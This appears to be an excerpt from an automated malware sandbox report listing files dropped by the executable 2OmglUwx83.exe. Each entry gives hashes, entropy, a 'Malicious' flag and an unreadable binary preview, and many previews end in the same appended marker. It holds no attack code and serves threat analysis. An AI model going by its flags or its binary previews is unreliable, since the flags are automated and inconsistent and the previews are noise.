MD5: 42E221FB345B6AC4392D17154FE1637E

SHA1: AAB0179CDE6FD492881F9710E45DB7592617228E

SHA-256: C5FFA84664C9B51CAA5A64A3059ED0372F460A93EA4BAC00AF0F80036CCED3AE

SHA-512: 41A329B40C89A5207745413B390D38E2745BFD2594D9A4EE211B9B3AFB4301BCEC3FC293C390C619C7F6B941DC52799261C6F3D2C354769D7D7DC4A50F799928

Malicious: false

Preview: 1,"fu....'...O.?....A..%P...(...&.._V_...Vhq..<... ..NU.....9.5vxB|..(~...".C....<..J$..r.k_Zt.@].">Z[.1.b...'..Z.F....5..u..f.S'7...B..|]..'D2..{D!y6M.}.>...w%]...G..0..Hx.......s.K.k.q(...
..'[mJP..............c..r...R3.........'.].k+Y.SuR.)....|d<.;.W..3.A..c.y=8:K....3...TTkkm..M...+.H..,.o....2p.Z.D1.u../y.@..k@..5.U.K.").7t...i2.8Lj....3.....N>..F...$.....]..!..l..^...9x.fq......3j|
._...._....&N.p.7..5....}.y.?..nx...RH[.E-....{.....).A.......s......m>To...r...n_t.@...=..b.I...0.AKr..N.c4.r.>03.'...U...50B.>q..D.{g..<..o...~........+2H.2..aAK.........?H~....3#....;...8
X"4Dy..(va.>.... ....a..W..$....MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 976

Entropy (8bit): 7.789960574966782

Encrypted: false

SSDEEP: 24:iMcMfSd3DuQsNwFtwBVD1crv/hhJaei+Xqn1o1vNbD:yMfm3cNwFKBV2Eei+Xqn+lD

MD5: 70AAEA1232C7A4F3FD7C38CD998FFD11

SHA1: 0E5CCE0D74750B9F23BF0EA14F00B067499D2D3D

SHA-256: 0A85D1CC8C7E1713574216A6711E3DDE2CFC1F196A5A8E24EEEE6E6C25DA5921

SHA-512: 1F107F7CC1CDD6635D1CBC149CC85664DF6BB1D47A4236CCD0FC386A74777312B1F148841D80966E384F31D44053281EB0CFCC164D30BB9EFD76105407DFB24
D

Malicious: false

Preview: 1,"fu.|/...G."K.g@.S..'.%.v8..{.p".8w..... ......~TK....2A.h9z7J%Z4.J....y..b.C......L.nW4(.M..\iBZC__N9_8.\....g..]....E...>..n.. "@P{.....~.P}......'.....BV....P.. hvu.Tx@'v:tR..
3.:~........&..j...>j....v.c,WD.@Ved.I.b.J..?....9.............).e.$.....u.n[.n.......6.'...^l.D../].G`..c....~..G..C.py.T.v./Vlw.....Va.v.+QS...kE...FD.<S~...r..z....c..U.f..\.>.....^.H.....M.}......
R....3c....&..T......m./.$z2=I...[MO....XU.,..~\.U..L}nD....#.e..h.&uL......vw.-..`...t[.a.#$...{.pg&.~.jqo...A%:..nKq..[.E..(..9...nK..I...o.Z....1.9...B<.O....(.#R.n..S.....AvL.~..#....(.k
.`.....D.e......sy..E."..).m.}$Xep-.$...r......$-....{v.^..5.I.#..h.Ru.qJ...D..Ez.iy."?.D(q2r.&o9>...q.D6.Gl...;]./r."}..-.P{..~.@...~...R..d..N..d..F.wNJ..KV...]Ed..?.........4.j....X.b..."
.....eA...../..lm...Nj....N.}....4.3.....,..O.&d..E...\.?.P..........M.2.~Z...e2....MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 6137

Entropy (8bit): 7.971474393122845

Encrypted: false

SSDEEP: 96:0eM8gycwoS+v3vEb4QJjZClMxhzAC3CupnzsNdgVyTmGMRYxAjYxF8m9JvLzhj4:06gypoBPJQxskz5Sum624jjYxF8yJDFM

MD5: 643ED6DB2CBA3259A0214A88FAC67953

SHA1: 2C50828B74507FBF36F15F4F1A0B1D7F225205E1

SHA-256: 1FBD9A849E3686DED9388F5D5273997E4CD8BEFBB6BD094927CE3005EC6A119E

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sdiagnhost.exe.log
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SHA-512: 64EF82B1471AFD587B103D93BA2E6D1E214E13F767B36935C73C514745AA4C4E9B639BF6FA3B82B62BDE33BE129990923D3D6DC5D43F784C48C6CBC323221D3
3

Malicious: false

Preview: 1,"fu...J.u..V........V.....<..3..JN.^.rM..={\-U1.WN.#|..[."...X{.i.u.g.._X..z%...U..y.#...G......j...2".e..MS.x..B......!../....lKH|..4Y.{WE]...^/.....6q....R.+.=..i..[..@.+..>...e..%wi<.w.
.,.*.]~............EH.8.nwu..k.b..2LIG.....I..b/.q.'+bg..DS.l..&..QK.V.!...`..1....B..+....Ar.(...<./.....a....*.....6.O&...:..y...>....a..!...@.)+........u.0a......ZA.......=..y.J9F.]..jDF..W.w.a.OA.
A...BJL...f....=.`...%....F.~.....(..R.r.d.......3.Q.....oo.xP.....(.U..f...9y.....X..w....%............$.Ds1.KIs..?z.T.)...B?.....%//Y....q.H&...).....Q3...e..7 )f.P..!..i.......G..'..s......G....4tv
..8....Im..r.R..o......]B...b.2g........"...p+.>C09z-./..H..jEz$..0...u#5.Q8...F.!._c..^p5..$|d...Vv9.uM..i.lE@=_.U.j/}...}d.....5a6-.....e...'.Fn...h.)U.....#..,H.......F..a......Ut.S......
...A.R.Y...$..`E...hw.B.{9fI.o..{..T....5!..Z4B...*H..7=..v...v.7....d......'...2.<\|p.`..U.S. ..F..q...D..g..5..)."Cw&.....na.&...~.._...c$.M.. .....QPgY/...T..f...0.<X.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 669

Entropy (8bit): 7.704818187657192

Encrypted: false

SSDEEP: 12:fpJoISD8gQDHaJwHQJZgIWk/Dx+hwWjRrq3ic0VNq6W1e4mAV7OEXNcii9a:gIztSOO0hH5uZe3+NbD

MD5: 53015FD4CE4148E63F1499F9CCA03AFB

SHA1: 48259362CBC92375BBE42B358AA450F32A953069

SHA-256: 63911305B9775588E257E7E6D702F83FD2C19F48D81226C343E4D9C41E060521

SHA-512: 89BD2ACEDE53656074BF1C6F8373CDB63AAC6B8B736477F163B633267E034D58A3EFAE77D04897885262AE5E3DB590AB3D4F85095231BBED621B4FBA91789DB
B

Malicious: false

Preview: .ToV.......,.....0..w.q...h.y$.=.....J..p^1.(S...:B.__?.x1.....T.Ao_.K...-...).w]. k....4`.+G...@..#.2.FI$%KZ...g...P...I.khB..h....LM.v........U7..h_.a....Px.o..^\.........z....XTt.R..:.s..
.......!".G\=......)P..E.d..^m..)cgi.-.W.*.V..%.my0..K.....J'..P.....j.YIi.....G..}...g...7..y...~.x.....ZL.@S.L".,S..U..............H...F.....Mq...`.....Ns...+..(3..q..\'.....u....dxH.jgj..e....RH.....
<..%a....zs<,..%...~.......&...4k.U.r..j!<.QP.......<..%A.....8..._..6n....M...*...........$....V...X..9.....^..1..*..........P..........f.^..}.......v.%-.G.......b (SF.!&uqMzCJ0Qyak6RQYKi
wWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 851

Entropy (8bit): 7.735949531336385

Encrypted: false

SSDEEP: 24:EfRrKUKYj7cB9rgtIVuQTggbJim8nzIKHeANbD:QOYjSgu3FQlHeoD

MD5: AD1C00E803C17E438161C72A9DEA3742

SHA1: 29579EEDFA6D3D7CA969BC847A09AB77F18D77E6

SHA-256: 42F551BBE331E68238877DAB90E375A4CDB9299B86DD53DBA8CC4F699A93EB75

SHA-512: 650E1E00E5F93E65168B37B6A3A31C7D4CDFE7D16BCC8B89E558C3E23733408855A56FAD21613C922E2EECC6C53B2E75A1EA7B8342FAC6F810D7B806F3B7508
5

Malicious: false

Preview: 1,"fu;.V...P...........%...X.eW......0g:....../.k2....0qH..Y^..3_{. .Y.)Q......uWT...C..6.|_.VA.s..c.T....y.....r.";&.j.5...b..B.|....AZ...bp.).\....e...u9.c=.>.P.Kv.x...\.3.T.[%7Vz...W}8j..
.........]xu...k.K$,.Mp%r..-q..f...U...|...R..C...Z..x.. .......lSU.xc...aP'I....~.....wlK.-..f.#3.L.'.`Tz.P....s..Sm.1....uwy.d.ho(..d..Q...F.;...:......TT._....)..l.f...O{`.V`.&..1.c......WR.2.<..Q.
.+k.v.Xm..R.d..z....{Y.r.......byg.`F.?R.w#...m}....U..t.........|f...d.o...D......V....m...#m..."....f.lq...XGGz.Wp..yXbt.o[.....fU ....F'L[vo.c.J....61.r.......l........:.C"rv.h..|0l..Q.U^.......L..)...
<....B..Ll.....f.*.F........2....RY.}9.6l......;Xyc"...!&1..'s.jzCk.gd..%xU)...9>zD..T!....@.....u...H..i.I.H|..S.f....:.0.GCj.Dum.)......MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bzn
A8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 667

Entropy (8bit): 7.5934848462420685

Encrypted: false

SSDEEP: 12:i+OKfi1ZlKyn9Fp3QRqLyw3d4bZc8Ia6GXewdVOkow3rKOEXNcii9a:efZlf9eIrN4Neb6sNbD

MD5: 22A7C82185BAC30262079F64E3D77289

SHA1: 19A129B49E6919A89049E5A62314E9D699337EA7

SHA-256: 3BC2219B5894D0BBBA3FB74E6E604499F50E078F529D59BAD9CC483F66689989

SHA-512: 6158303D36E2A20EF736B348400A0183B86BA22C72C512C8C82879A54DED66E0B494614F7ADFDA3A7D4D349F8460EE4397C13D980E6BF137C936744412491A09

Malicious: false

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\ngen.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\ngen.log
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Preview: .To.J....!..A.zd.l..ou7.M...Y.T.7|.9..j..F..lb....g..m./.4>..*.A..`vQ,T......H.]3.J\'......Vi@:..B...V...T:.5.../...nM>n+.3..'.S:U.(;$.....7q..!.......e..}.n./.v.`...:Od.n./-.G.....t...*.3...h.w.$.r..
..eMy..G...>../.....8$.aE..Y.d..?e@.-.-.../....s.F.V$.TO.y.K;Z....C.?._...R!....H.e..b...>...M%.2ag../'..i....dd.....h..C.x|e.P=z...Tz).x.3.R.c.^|..?k.....r7..S.|.gq....W.:...9....U2..H2../?
..L.wig..A..nM....8.0........ '̀ps$.5.|(...G5T..5F..4.{.w..@,.....({..P.,6..j...q....s..BK...B.....6..4.....MF.."v.W...H9..xC..........B...4TI...D.....l.R....IE...-McJ..MzCJ0Qyak6RQ
YKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 234061

Entropy (8bit): 7.512258921296609

Encrypted: false

SSDEEP: 3072:JtEzjLcPMP/OZrjkUx1Ev3shTH/osdha+NO+a3JMC8ThBl+8Qd02I:JUjLcdZPkUxwKTH/osdMDT3JMBl+K2I

MD5: 255D2C22DB66E08A18471E016A6C8DC6

SHA1: C77676510C39C5371C44283AFE60A5494E726985

SHA-256: 4B68EC01349AE7EE94C14D92A29D4C3E032DEA24A13C10046F0E2DA50F784BCD

SHA-512: 3C3A07B749E2D4B778C788E89246ED9FB1189889C553AF643775A7E90CA27FCBAFEA8AE1C9B20D6E40C3FD4BEDB64095348C8CF51DC1974877B7770409FFF0C
E

Malicious: false

Preview: .<?p...;H~A.W..1...4.|g]w.k.^.;..hz...$..S....F..2I..N......a......e.../......u..V..q..6...XK......:)]...5...7.|m#*..Z?9.Q.6?..i..V...wn.^.[..&....co.. .EK...z.<Fa......_...B.8...N.@...d..8O
Qx.=..z.......L.>..c'O...}..<.pb.yLEs.{.<....A.]......[*..2.&.L.<b...qD.Q.].Z....~...r.....v.....dA...{...D.F....6.a....\.F;,hE.b.8.W`.j.4..U ....7...@c......T.*..y.)..?.B.. m.q:Y8..yK....._f...<.+...
p.lz.....h.0.....&d\L....a..J.S=J.z.8.V..O.;3sV....F.W........T1k..&J.L......Z.~F...y.&.hw.=..SP3.m...*..b._'..i.{..w...G...;..z1=Z...[=&...D..X.6...cje..9.v......;K@..#zO......eP...?......U
...t|I.g.xo.5:6C.....8Yh..z.N..~.'...+.hp...M...2...>i..}A....\&,.......Qk...\-.@./p..Z!.....otBN...r.40..<..+...a~.c.+.O......oO.......6....o..u...[......`..=&..$(...X..?..6}..{...[..h.0XV.....R.<r.o
6..qq.o.b[.:*.;.J....v..$k.zU=..(.m"....:a....<..f....%s............v+..](..ze.)....f...g.)G......L...d...|I..;.|....1J.*.O.Ai*B....F=..2.}..}..S......9.z....).tZ..E6.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 49454

Entropy (8bit): 7.996078698645805

Encrypted: true

SSDEEP: 768:bsg3fPj+yqhyS0cfAvQRNB//5LnyY2IqkH5GqflyUTb4VgbkqFBX10HepIE6:4gqyqhscfu2FhLQkocUlekqb1ZWr

MD5: AB429750AD28BF71376C11A52EE55DE4

SHA1: A65B30C7EBCACE2DA1ADAEA5F997264E92C92E6D

SHA-256: 2D46AB2A1D3CC98C64617C0982AA02DA3DDB8F7E696915798B85D551891AF4AD

SHA-512: 0843F1BCBFA2E7CE752723867F644098191CECB232BB0EF1AD9763624BE2320E352C1A1D76727CB39D0AB2CAE9375851C2DF0A7BEBB4C29C83B674F4391F35E
A

Malicious: true

Preview: .....8.P.M.....e....o..O.I..*.:rI..h$A..5.=]...}V{V...9..y.......FW_...Hq,..iy.y........6.2NYju,.....AB .....~[.@..<.t6t|.Y..sl.p:~..5.?GB@VSy..q.(dx;t.q-]).E&9wO.mp....].fJ....We....e]..4.$
......Z.....`..H%...c.s..g...9..0..oB.....G...e~.F...>V....S..2...%....~.5...Oz...S.l....T...Z...z~.7O. ..j....-q..E.r..kB/..^>C8..Glx{.....f.0.$.O..5v.....tlx..2.{9.....~tm+..Q.....S.....W.
..@...y4....$......m...q.8...r.;C)~.J...t\......xb.S.f..@...(.)..X..K....'..R.?.d.C!...m@....I......./.q.kK.6K......[.y.8!.p"!.....T..z...h.l+J.y......\^..n..k.c).C."L+.<.#J...dx4.F.|...O{.#.;>".."R3f
..)}..J.d|........uP...`.W....T...R......n.v|.H.[.x...tPbV.x.R.....h....4.d0".%...I.HH.Q./.+.Q.....W.j.......o.....)z..s.o...k.kE...%X....z..|.k.....J=.{._../...s'>`..P;=j.c.\..,D..{.....GkAi..D......
.......W~n.0....X.E.l.m....^..M..g....q...]h6-.... &..y.N'..?.5.A...N..xw..V!Wo.P.x3..D...._1......w..D....AI9"._...:.j.X.....(......I]..`i..|.,..^..U....I..N...

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 35951

Entropy (8bit): 7.994696918871358

Encrypted: true

SSDEEP: 768:yDhTeXAdPlCb/qU/aI9KhtPVeTctjMwV1VzCE7DzG1x9WkI7hUpFr/cB+r:yDhTdtCTHn9KxYwV1V+E/W9iKt0I

MD5: 5EC712B58E98CBCCFF47FD837BC51FCE

SHA1: 89E63500836B77BC3B41BC93062A42F61C5FFBF2

SHA-256: 0213B4F91FFB96A964F029BDD285F9227268821FA5CA6ACA9C434DAADC20F4F3

SHA-512: FEC1C729064EA617BAA43E588CB971C76B9B8702C2353A2E48851A78800755E695D3D25354A8D2B9977301AA01517B14007F637EF038846F4E5D5ED28A28F3EE

Malicious: true

Preview: .......+D...4i.....v.Rr......H4...0..hg=....5}Ro..n..>.)v.c.}.Y...Ul.^...5........{.i.W..8Yu^|#..`....B..."`H..w.....(.....5.*...qU..-j....m......i...:n.7...}.Zh@~9x:{......S......3..g;.b....k...B..pr
)....g>.J.....^......y.0l`.*.!b...a.....]{.D........,.......D.~7..O.......zM9v\SX.....m..&#.........R.W/.).X..~.............].Ah,.@..dPX.`...3p..#..t..v[........(.2|&....`'..&Pn...k..\.#.@L.....,.).......$.J..J
.e9GZ./pv.B.."..iRWU.R......)/.s.Y.=t.......v?X3.@]..w..b.@:...e.....B..#..W.5on:.E...ox.........`..+a......3rV.v.k_H..y..J.%.3.....p....@|.C..>...1H....f....y.....b...-o........V.....KP.l@!
....2..(.....O.....Q...KV..I..:..1.=T.x?Q....\...v...j....`eD......,.r.j........R?.QI..2K.(........y...7..z."..w.........Ev...3r...;5:ADN.a.C...t...gN6..~..Z....j..0..x6.<....C.....:U~..=.....;...)+*H.;.1t.....
[2..X..i9q.]..y...9d..<..mA.).~.?s.....v.s...x....uw:..M.....c.l...s..b.l..F2VV.....;.r.q..U.....\.F..F.g!n.2....*?.%ua..IR.YY.......

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\UrlBlock\urlblock_637194112741176080.bin
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Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 16179

Entropy (8bit): 7.98844350886223

Encrypted: false

SSDEEP: 384:cSYpobbTbQTrUm2kvgAauBU7ZnQX9rYpR7VSkexe8O2qnrxNPP:cSykbvQfT3UuBaoOco8ZqnNx

MD5: 6246717D8FD6F7C8DB07D8910EBAFF6E

SHA1: AF05D1642687A767DED5B001137CEA8413B9FB4B

SHA-256: ECE050B3E7C53C21F40DA4111966194D3E4686166106E1A33B41D7A9E41D15B6

SHA-512: 16F505A475E7F9369CD5A322A33FEAB4161F3E34E8E8A185A4B5B5ECC39F006B1C37A4EC4B9742E1739F9FCC8F4BC52B639FF8049D8D823150953241BD27734C

Malicious: false

Preview: .<?..x.pZZ....LF$.....c...x<s6>e.Zd4/^.d.x-...#O?.f{.Vs...S.5i\.&...QC.C.d..."A.+....R.r.H...SI-.].L....K.-.......2r..].......y.;.......B.....Yy9.S'|....cB..'.q.G.m2.6Z..q.....X'...6P..Q..d.
.]n..^YQ..&A.....6g.b.i.V...?.bi."B!(.G.P.* #..k<?c.Vd ......B..O./..u.2.i.V..5...c.eQ.....zo.......:.%E:Z.C_)..........06.g.33X)....9............9=@Q.!J....iNg..RUT.Z.J.YO.....y.L(....a...z
.hs...gL....].}4.f"^.........v.....{:.~.B......e..&..{>....K.+..1...B.G........i/j..[.y.H...j.#Q.,...:R....4.e-...=.F.rE..->.z.J.....@..k....*J....0..9.k..1.A.-..^.\..WU.jK......|.x....)p.%.....)...n..c"b..r..l
7E..#._..J+s.[...|.U..!.....3t7h.K.J8...G.-..dL.d.-.".....M.i..25...1..H..kt.6.I..q"...r..y...............U...l.].K....).0]..n3...&IJ..Y.f..L!..N........D......s.P.%0kX8..h..?.n..aJP....7h...H.....Cy.
..n..x.).Kf.y..%P...<.T...#PX.-(.C4G6.".t.q.vAlG.. |t..P..V... .....{.......lY^.t..vM...6....%.....YA....'{.L.aL..Tr8.ss.U.G.....m..}gd. .p.....PQ..s....(A...6..D.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 6910

Entropy (8bit): 7.97345890175918

Encrypted: false

SSDEEP: 192:EEuf6vYZiMYBWi4j/lm6dFibO9fQSqyqqoU:ELf6vYm8jNm6dFibsleqoU

MD5: 932EF1F972BFDA0271DB132971243BCD

SHA1: E79EA3AD09A699C6D3D2E696A1355F4A5D5E517A

SHA-256: 06FF09D25BBE9DCB4D5BB17D3AA945F5DA8727F79C108C82B33EB7DF4437C20E

SHA-512: E48A7AE34A50C606F64CF5CC0A1B2D61348CF52BEBFBFB2A1742565F3FF2AB045FDD3DF5FEB9F4C134B83C710FA472110CEB54D7EB375D62E6B16451A400F5
1C

Malicious: false

Preview: 06/27.+.p.Cg..~Jb..Z...F....Jvk...)^M...........L.=tls../.d.!{A....|..8.Y......w..%h....P.Z.......v.......).....5*;....G......R..F..%.e...!.B..xb!.9.."....l......O.....U.....1...ZDod...i..3m}....mj..Y
IJ.rC.|....O....m..M...\...L..+.........OGt...t.g...a..:.....T.q.!....P.lx..]..+.(.p^..).*4..On..?...."N...-W......qknYp..?K.").....pi.@F...t5.#...f.W5f...tS!.....e.4.<.P..):.JAy..B....2Q.)R..2.>".\+.
... ^....a.....d.#:.CR}i4Z..H.Sd.>....P....^.i....%..y^z5..%@\#.^.......)....l..mo;.g..=...../.(.......Y.Ui.l.V7n@..#.m...<%d.0..2.s......V..`..O.h|.L.,.:@bz=.n#j.....&.+..b..d..r`..An.t?.`<H... 
......g:u.VD.....5...x\...+..p....(..4.^m.......\.IG.jz.W.}...E"....UX..:....gCy.9x..Y.y;y.qYs....z.....c6..3.$*..h..I%a..c..{.~C.~..2.8.A.V....n".\.J.H..{i,QL..vT...HJ#.5h....(5.LYV.O!
Lag...Z.e.Q..Q....m.C."$2.h.m..P.P.7.........E.>.zgZ........U.....w.j.X..z..i'....e...<Fgv1A..|./..X.ck5VX.]....p..~...t...Pb.B...`.r....+Qv{M..IZV....3..x....=J..~Snt^.......D..y..

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: Little-endian UTF-16 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1082

Entropy (8bit): 7.822278370739053

Encrypted: false

SSDEEP: 24:QfGG4OrN54DZKANm5Reunj3qLemV1tOcW6NbD:kv4NKANARGV18KD

MD5: 0DD77011CC54435F31AAF37A5719344B

SHA1: 3AC8F5810F5F731FE7FF6C3FD90816283C16CF7F

SHA-256: B8B8378A287823ED2C249993C43B41DEDE0AAFD2F7D44E2BE960AFE5464A1194

SHA-512: 8955402CDDFDC0082830EB9FC826A12F678BD7BCBE67C655B918D35E902DA620105D40D981FBFF4505E2B1754D4A716ABD6D515BA9BF08C406E18ADC50856B2
7

Malicious: false

Preview: ..E.x..;3...LL..c}..6....OI.^.4..ct...a(:.95...p..K].. (..4.....=r.....{....7..M..E(#....M#...ng0..4. ..V..uD.S.>..B_...V.K.Z.[.........2..Q.*.?.0...Y[._.fq.....rZ..!x.Q.H...w$Y....Y<Gh.5...$|.V...
(9.0.8......gR..N../-.!A.XM.R...D.&.Da.C.....z....q..F...:.d...'J..C.....m.R...y._R.j*.0.z.+...t..Z.E\.!Vfq.\G~.lL.$..I.....+k...>.2.....I..Q..+..I....Y....w?<N...Y.{`.^....R.5.......yl-SL.../.
.z$...1.O....@...N._.!S.w...)....B.|Y,......QDK#..W.F.(ZK....u..U.%..4#..i..P...du......-0..6..u.h*..p.O..YSN.....=.xg........B_....!.X...y.-^.V.3....;..5..m....S.S?..).n..L......bMl.2d..}.c
..L..;!A..z..A_.!.i.~.N..-F*.........]l..;2..LN=..d$..K..Z..t........2.z.....1....a.BTQ..^.j....\.L.E ......{f...Y.7.`....D..%......FB.,@....Q...T>b....2]f#......X........P..~m:'....$G.4.W?.u6".......
..........lI..M.o...Son.._.T<(..J.).e+ti....v...j..m./.SH.)....Q.C.?V..D.}U..q..\..\.V...@.;...U............bq..#J..bM...1.T.2.W.b....8..7.q.b..mC.x......>|.}...)...w..xCm2.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: Little-endian UTF-16 Unicode text, with very long lines, with no line terminators

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\VersionManager\versionlist.xml

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log
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Category: dropped

Size (bytes): 1648

Entropy (8bit): 7.857590810560598

Encrypted: false

SSDEEP: 48:CS1tINOaDge3g9G30T5FuM3xTvyX8S3oD:CS1tYeeQ9G05FugNvc8S30

MD5: B003D2A5A09EAC5B105578CC0E201258

SHA1: 10103C484DE9CEC309EACB43180C183C38E13539

SHA-256: 124131E38F02A9BE5075E2B37479B2677382DAA130B285804F56B758B72D33D8

SHA-512: 308F54AA0CFD79AB3F2711EE163F705C1B7BE5743BA32442D0164E6547F20049738A7E81C48941218BAB6D261C3A38CF60CB8951B15E00D2189A907D0EFF2995

Malicious: false

Preview: ..0.6.D.\...`E.r:.>D.M..n=..-%f....e..j^@f.v.V..I".t.E.>.WH@}..%.oN.... (g/Gc.IA@L..6e....9.jC..6.;v..y.j.....%.az..r{..Z..^...u1.-^".U#....".......J...q...T.:g.........h....`.,VL......%....
iT...m....1p~.q.a..8.eS....~.U.r..*..o..q....?8#....^Y..U...c$+.Z.$A...l....9Md.)B.X.O4e....f..F.toe~#Tu.*}.?L..........Q...2ZD.c...~............M.I..:3....q.M.......M..l.t..B..|..l55B......
.^Y\......CQ....8<.BbJ9.j..,.h.....c.[@....n[..#....|&....X..$I..@.i......&...C*|YC....1.z'E.;.(Kr.).r5.c..&..W...q...;.)e.U.2.a..6......T......%d....t....4.+......3-R..|..h.!.c.....T.../.....c.2.ge.1?x[..
{...|_.."F.y.q..g3..>^8......|..'.A.c:...o-@.*%.lC.>...p.Z...o..[b......7..............p...^hx....'....a..,.$k..z....~.9c-...4r.:f..C.!...0.4.:.~..V9.f....6..t....64.....t..........bF......I:..c..r....w..%|-..>+.-..
WI.di..B..6.....b.g.....$........U...B......V.W..y61...E....S.}......"X.>.....-3..BQY`.>h...K..".b.#p......{.99..MO.~K.Y....4..C...j.O..S~Q_.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 986

Entropy (8bit): 7.765625320866896

Encrypted: false

SSDEEP: 24:5mOZAD+ltyfdGGJk2idydYPyrKDDMDtzLXNbD:cOZohGGsYYPyNBzBD

MD5: 1952D0A6A7E560070C3078AFC716D744

SHA1: 4B1AE496D4A01414457705CCB42C25A9B4059B2E

SHA-256: 0942E8F60702B5FAECBB97367CD3AC8CBD72CA1BE0D4AD2F09160C9C179FBC06

SHA-512: F55A2813ED29D77A3D4E2494C67ABAE56C7DC1EC315640E3D4A2C57AF5D8F0C9781E7BE2DD0BCB718004F17DE589C4A8A4746F1C8A2D69CBB9D72549F05889
14

Malicious: false

Preview: .PNG.e.+.C.=.6*L...7...._.9O.B.p.8."i.c^.o..E.7.r.v./y^&.&....>..D.?.......T..[...g....~.8`~6. ..*..*c..m...c..cTA.B,.E.|.....$*^+...C5...T9.....M.....;.D.....b.k9yH..y.C..kf.S6..Q}V]..E.>..
..@^........5."...KU-...A.XP.E.CpP..$.....I.RCxC0.p.A..l.........aW.'.9....c..../._.dF-....FZ.]...^...g.m.Q.z.6.g..d@..L..uo.3.>.SNF.D.}.%.=..1g..7.p....a.N..ME2.XKL.O,*..;~0{.).mo
.7..M.4O.1Dj..7d....\.v+X..3.(...(DE.<[M...........j...{{......-U..7Z...L.....m...t.,%.#..].\..5._."K.....C...x..gm=B.=+...W..I...{...N.Y.Y.n..)../.U...l.C3.....k..'%.....X....!...3.Q..J@...
..5.>2..=2.a,'Vb...P-........f7.....4E......QPJ.r.2..A.U...7y.....Ak.yjV.2.V)....V....2.fW*$....7..tm..=.f.86.[.y..:.W....Kkd.....Bj.b.i..O.V.....X...,.....o_...Q..`l.g.&..O..B.|#..HA+%..x..
.?.xT..".j .W..l...r.M(.y..U(E].5J..~v.x.9.iml....fk.-.e../D).."........w.......9o.:.N....:..x..l-..6L.O.MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1182

Entropy (8bit): 7.829122090706086

Encrypted: false

SSDEEP: 24:Jz8RogkhikcGPeoC5rzjwYcwkNWLpjWjHpK8wu5kbFadcNuGFNbD:98jqoz0ckNk6jHAZOkbd5DD

MD5: 0806C772232B4AB4CCBE98E37880D3DE

SHA1: 1F8F840744278C11955B8B3775104827A12C5529

SHA-256: BE023AE5711D5E873CD538B3DBC153A61B5CA3FE3A7B398F87000C8E84536067

SHA-512: 71E1B1314627CE1DAFB712ADCE2CB8CE693D30B509003F570D080191C23CF9377493FBB87BE23C11E2E891E19C8912FECEE13BA99CD7AA642A8947C237F319A
B

Malicious: false

Preview: .PNG.H..e..8.3M.Hg'...eXU.g.a...p.....IC.!.O.'.........I_$..;C.. (06.I.Z-o.&G/......*..../...dj5e_.e...$:...v...V.........$.'.[..l.e.!.....go.....A...<.j....!,xN......v. .=J....e.,.z.6.\1..x...<O....n
..........A........u.K. ....{!.I...._....?.".U....OR.....yY.&=-?.'..~.;2...Q.Y`.2.F.j.f...z.((.!.........VM.".|.).J........f>%7...2t...%.. ..6..d.F;x.0....VL..m...5G"sS.......-.f:......u}.k...-V{..X.+0.=...-.l.
..!4/.?e:....=..;j.x...0.^1).p.v.h{T.K.R.jKz.%6.... ..x."G...6...(p1.3.%/.2.n...I....%..N5,|...o.`...-..3..L...K....r.O....}u._Gi.6.......Y..h.$&..}.X.d.y5.. ...3...&......h..J../q.u.t.>...L5Q......r.
.kz.1.... ..?..;.@\+....o..5.cn.s.K.*~....e...l.l..S.....+..i..5..O:B.2;...j.WH*...F.N.;...!...6..S...Z..q..G.AvuT.....$........N"...z..:(.e...(.V...\..Qc.....t./+.......!...C.&.eot..K.....q"7..v...].
